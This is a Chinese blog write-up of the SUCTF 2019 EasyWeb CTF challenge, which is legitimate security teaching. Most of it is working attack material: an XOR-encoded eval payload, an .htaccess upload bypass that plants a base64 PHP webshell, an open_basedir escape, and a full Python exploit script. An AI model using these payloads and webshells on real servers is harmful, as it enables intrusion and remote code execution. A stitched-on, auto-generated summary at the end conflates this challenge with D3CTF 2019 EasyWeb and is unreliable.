[SUCTF 2019]EasyWeb hao .htacess绕过 open_basedir绕过

26 篇文章 0 订阅

很好的一个题考了很多知识点
rce异或绕过
.htacess绕过
open_basedir绕过

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

看到这个东西简单思路是用eval执行get_the_flag方法然后文件上传木马

异或绕过

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      //dechex(255) = ff
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\{$l^$r\}";
echo urldecode("%ff%ff%ff%ff")^urldecode("%a0%b8%ba%ab");
eval($_GET[0]);
?>


?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

在这里插入图片描述
第一步成功,这个地方是不能直接搞出shell的,有个长度限制,我们那个payload长度也是刚刚好,然后这里我们异或只能构造GET型,POST不行(具体啥原因不知道。。。。。。)

文件上传绕过

这个先对后缀名ph过滤,所以我们要用.user.ini或.htaccess绕过

是 nginx 的服务器,而且上传目录下有一个 php 文件,上传.user.ini
是 apache 的服务器,应该上传.htaccess

题目是apache,所以用.htaccess

绕过exif_imagetype

在这里插入图片描述

.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:

1. 在.htaccess 前添加

#define width 1337
#define height 1337

#在.htaccess 是注释符,所以.htaccess 文件可以生效

2. 在.htaccess 前添加 x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用 python 的 bytes 类型)
x00x00x8ax39x8ax39 是 wbmp 文件的文件头
.htaccess 中以 0x00 开头的同样也是注释符,所以不会影响.htaccess

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
	phpfile = open(filename, 'wb') 

	phpfile.write(script.encode('utf-16be'))
	phpfile.write(SIZE_HEADER)

	phpfile.close()

def generate_htacess():
	htaccess = open('.htaccess', 'wb')

	htaccess.write(SIZE_HEADER)
	htaccess.write(b'AddType application/x-httpd-php .lethe\n')
	htaccess.write(b'php_value zend.multibyte 1\n')
	htaccess.write(b'php_value zend.detect_unicode 1\n')
	htaccess.write(b'php_value display_errors 1\n')

	htaccess.close()
		
generate_htacess()

generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")

然后是木马那边的绕过
如果只有if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");这个过滤的话,直接写一句话木马就好,<?放到最前面,mb_strpos返回0,就绕过了,但是还有exif_imagetype检测,我们前面字符要是GIF89a才行

不用<?还有姿势,而这个地方这里的 php 是 7.2 的版本,无法使用

<script language="php">
</script>

解决方法是将一句话进行 base64 编码,然后在.htaccess 中利用 php 伪协议进行解码

#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_3869d64b7cfc82acdb6d71b2f332f24b/shell.abc"

内容的一个解读

AddType application/x-httpd-php
在这里插入图片描述

在这里插入图片描述
shell.abc的内容

GIF89a11PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

两个1是因为base64为4个字符一组解码,防止吐掉了后面的字符,才能正常解码

然后实操

网页中插入,然后抓包改

<html>
<body>
<form action="http://9c0260c0-c775-4109-a5ac-1b52d3dfa444.node4.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

在这里插入图片描述

注意这个地方要是image/jpeg不然打不了。。。
在这里插入图片描述
然后访问打

open_basedir绕过

open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

方法一
蚁剑disable_functions,GC_UAF和Backtrace_UAF都是可以用

方法二
bypass open_basedir的新方法

?c=ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));
?c=ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(file_get_contents(%27/THis_Is_tHe_F14g%27));

在这里插入图片描述

这还有个python写的,搬的其他师傅的

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_3869d64b7cfc82acdb6d71b2f332f24b/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://81bf60ca-afee-4c29-8dc7-fae258848659.node4.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: \[1\]根据引用\[1\]中的描述,当将Smarty嵌入到CI框架中时,可能使用的是一个兼容低版本Smarty的引擎,而不是最新的Smarty引擎。这可能是因为参考的文章比较旧,导致整合时选择了兼容低版本的引擎。 \[2\]引用\[2\]中提到,CI框架的类是按需加载的,而不是自动加载的。这导致在全局搜索__destruct方法时可能会出现很多结果,但实际上无法使用。这可能是导致pop链不好找的一个重要原因。 \[3\]引用\[3\]中提到,在phpinfo中发现了一个flag,这表明还有另一种方法可以获取flag,即通过get_the_flag方法。然而,get_the_flag方法有两个过滤条件,一个是不允许出现"<?",另一个是对文件头字节进行过滤。作者提到可以传递一个文本文件,内容进行base64编码,并加上图片头字节,然后再传递一个.htaccess文件进行解码。 综上所述,\[D3CTF 2019\]EasyWeb可能涉及到使用兼容低版本的Smarty引擎、按需加载的类导致pop链难以找到,以及通过绕过过滤条件来获取flag的方法。 #### 引用[.reference_title] - *1* *2* [d3ctf easyweb题解](https://blog.csdn.net/weixin_42474164/article/details/116281650)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[SUCTF 2019]EasyWeb](https://blog.csdn.net/shinygod/article/details/124045024)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值